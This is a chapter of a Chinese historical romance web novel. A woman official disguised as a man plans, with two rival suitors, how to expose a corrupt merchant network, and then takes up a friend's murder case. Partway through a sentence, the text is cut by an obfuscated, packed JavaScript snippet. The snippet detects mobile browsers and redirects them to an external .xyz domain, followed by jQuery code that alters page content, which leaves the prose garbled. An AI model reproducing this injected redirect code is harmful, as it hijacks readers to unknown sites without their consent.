萧既一副神游天外的模样,柳未等了半晌,见他依旧没有开口的意思,只当他尚无头绪,起身去衣柜里翻了件外衫披上。
窸窣声将萧既拉回现实,抬眼看来:“你要出去?”
见他怔愣,柳未率先向门外走去,“符公子于数算、经济一道颇有造诣,心思也缜密。大人既要查这些,不如随下官去讨教一番,说不定他能看出些关窍。”
那个病秧子看起来弱不禁风,还会这些?萧既心里泛酸,嘴上却不好反驳,只得闷闷地应了一声,跟上柳未的脚步。
两人一前一后穿过回廊,步入汀兰苑。
外头天色已黑,屋里点着烛火,符池安捧着书斜倚在窗边的软榻上。灯下看人更添三分颜色,看上去宛如画中仙子。
“主君来了。”
符池安缓缓抬眼,见是柳未,唇角立刻漾开一抹清浅的笑,却在目光掠过她身后时,真心实意地淡了几分,“哦,萧将军。”
柳未颔首入座,开门见山:“有件事,想请符公子帮忙参详一二。”
“主君但说无妨,池安必定尽力。”
萧既左看右看,只觉得符池安一举一动都带着股刻意招摇的劲儿。他气不忿,放着满屋子的坐具不坐,偏要紧挨着柳未的椅背站着。
符池安欲言又止,待要招呼他坐下,又知他是个浑人,不定要说些什么,只好由着他。看他视线黏着主君,垂眼放下书卷,从旁边小几上取出两只小瓷杯,斟了茶递过去。
茶杯不偏不倚,正好隔开了萧既的视线。
萧既眉头一跳,柳未却似毫无所觉,自然接过茶盏,轻啜一口,随即言归正传:
“陛下圣明,只是姬原落网已久,此类灰产怕也早早落入其他势力手中。旁的不说,晋王就不可能放过,说不得通过什么看似合法的商贸往来洗白,并入某些人的私囊了。晋王在苏州府的手下,似吴德坤之流,正是最佳经手人。”
“主君近日和通判整顿商税,想必也是要动吴记这块最大的挡路石了。”符池安听的专注,沉吟问道。
“正是。”
和聪明人说话就是容易,柳未点头,“只是吴德坤老奸巨猾,账目上的手脚也擦的干净,寻常查账,很难发现破绽。”
“账目是死的,人心是活的。”符池安微微一笑,眼中露出几分精光,“再完美的假账,只要贪心不足,总会留下痕迹。或是虚设的商户,或是异常的流水,只要能抓住一个线头,便可抽丝剥茧。”
言谈间,他十分自然地从柳未手中接过那只已见底的空杯,又续上茶水,再次递回。整个过程行云流水,仿佛只是顺手而为,体贴入微。
这人是一刻不闲着,变着法儿地献殷勤。萧既在一旁看的心头火起,忍不住冷嗤一声:“还是符公子经验丰富。”
符池安这才像是刚注意到他似的,偏过头无辜道:“池安不过家中略有薄产,自幼耳濡目染,略知皮毛罢了。”
他语气谦逊,可落在萧既耳中,怎么听都像是炫耀。萧既反唇相讥的话到了嘴边,忽而念头一转。
纵他符池安有千般手段,不过空占了夫人名分,方才亲手替柳未换药的可是自己,他何尝有这个殊荣呢?当下得意压过醋意,气也顺了,腰板也挺直了,嘴里也难得的吐出象牙来了,“符公子过谦了。”
符池安虽不知萧既又想到了哪一节,却也看出他那点显而易见的精神胜利,心里暗骂一声。
柳未揉了揉眉心,继续分析:“姬原倒台至今已有数月,留下的产业查封的查封,吞并的吞并,要直接握在手里难如登天。与其追回钱财了事,不如彻底清查苏州府与晋王勾结的官商网络,切断晋王在两浙的钱袋子。
此事繁杂,需得精通商事之人从旁协助。符公子,恐怕要劳你多费心。”
符池安正色应下,沉吟片刻,又道,“其实若要深入探查,或许可以让信得过的人做些营生,有了直接的生意往来,许能有突破,同时也能为府上增添些进项。”
他这话说得有些犹豫,像是怕柳未觉得他逾矩。
柳未倒不这么觉得,用人不疑,疑人不用。大襄律令虽严禁官员经商,可也不能全面遏止,有势力的官员大都会寻找干人,诡名置产。黄白之物谁能不爱?她出身寒门,俸禄又不高,自然也缺钱的很,原也有这些打算,可还来不及实施,最信任的柳叶就先被符小姐带走了。想到这,她不由幽幽地看了符池安一眼。
符池安先是不解,转念也明白起来,面上一片赧然,连忙出言补救:“倘若主君放心,池安手下也有些心腹能够分忧。抑或者再等一等,他们已联系上了姐姐,想必不日……”
萧既还在这里,符池安不好说得详细,柳未自能领会他的意思,不动声色地权衡。一来柳叶归来还不知要等到何时,眼下这事却见急,二来符池安的能力她看在眼里,他主动提出帮忙,追查的同时还能搞钱,她断没有拒绝的道理,点了点头。
“此事交给你,我放心。”
“是。”
萧既在一旁听着,他虽然视符池安为情敌,百般看不顺眼,却也不得不承认,在这件事上,符池安比自己有用得多。心里那点别扭渐渐被正事压了下去,忍不住插话道:“既然如此,那我们是直接查吴记的税账,还是从那些与姬原过往从密的官员查起?
柳未正要回答,忽然传来一阵急促的脚步声。
“姐姐,出事了!”
永嘉郡君一阵风似的冲进来,眼圈通红,显而易见是哭过。她一眼看到柳未,也顾不上屋里还有别人,扑过来抓住她的衣袖:
“崔婆婆的儿媳,那个袁氏,被当成杀害亲夫的凶手抓进大牢了她、她就是蕊姐姐!蕊姐姐一定是冤枉的,她怎么可能杀人,柳大人,你一定要想办法救救她!”
永嘉郡君不知萧既也在此,情急之下脱口一声姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379262|184065||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐。好在她后头圆了回来,萧既只当她那声姐姐指的是严蕊,丝毫不曾多想。
柳未心头微沉,握住她的手,“郡君冷静些,到底怎么回事,你细细说与我听。”
李通判确说过要当面详禀此案,只是今日天晚,她还未曾得暇派人约见。原本的嫌犯分明是赵二,怎的变成了被掳的袁氏,袁氏竟还又成了严蕊?
永嘉郡君吸着鼻子,勉强将公堂上赵二指认,严蕊承认身份却又否认杀人的经过说了一遍。
“李通判说证据不足,将两人一同收监候审。可是那崔货郎早已下葬,临县也给不出更多证据,万一李通判查不清……”
柳未的眉头紧紧蹙起。当年永嘉郡君被拐子卖进仙音楼,若不是严蕊照拂回护,恐怕也活不到今日。严蕊对郡君意味着什么,别人不知,她却很清楚。此案蹊跷,背后恐有隐情,交给旁人,她也确实不放心,莫若自己去审。可根据元妙真当时所言推算,这几日正是毒性发作之期,又怕冒险升堂弄巧成拙。
一旁的萧既见她面露难色,久久不语,虽然不明里就,不过也觉得她伤势未愈,不宜连日劳心,便开口道:
“不过是一桩讼案,李通判经验老道,交由他审理便是。你脸色不好,还是多歇息几日,养养身子要紧。”
“此案恐怕不止这么简单,”她脑中思索着对策,“郡君先别急,你方才说,那赵二指控严蕊,却也无实证?”
永嘉郡君连忙点头。
“既然如此,或许可以从赵二身上打开缺口。找个机灵的以同监或别的由头接近他,套问他案发当日的具体细节,尤其是严蕊求他带走的那部分,崔货郎那八十两银子只怕也大有来头。”
“我去我去!”永嘉郡君立刻道,“我这就去找李通判!”
“不可。”柳未拦住她,“你与严蕊关系匪浅,情绪激动被人察觉,反而坏事。”
“让我的人去。”萧既开口,“归怀盘问人颇有一套,定能撬开赵二的嘴。你就安心休养,等消息便是。”
柳未看向他。萧既敛容正色时,竟透出几分令人心安的沉稳。见郡君亦无异议,她便颔首:“好,那便有劳萧大人。请归怀辛苦一趟,务必问出实情。”
萧既应得干脆,转身便出去安排。永嘉郡君见事情有了转机,道了句要去探监,紧随其后匆匆离去。
转眼间,屋内只剩柳未与符池安二人。
符池安目光落在柳未微蹙的眉间,缓声道:“主君似乎另有烦忧?”
柳未心中暗叹。
萧既的关切是真。经过诸般试探,她再也无法将那情愫简单的归为发疯或算计。
她女扮男装,如履薄冰,所求不过施展抱负,位极人臣。她惯于算计人心,却未曾想萧既这把火竟烧得偏离掌控,灼得她心绪不宁。
她利用他,防备他,可怎么阴差阳错,反倒将他引上了一条歧路,真是荒谬绝伦。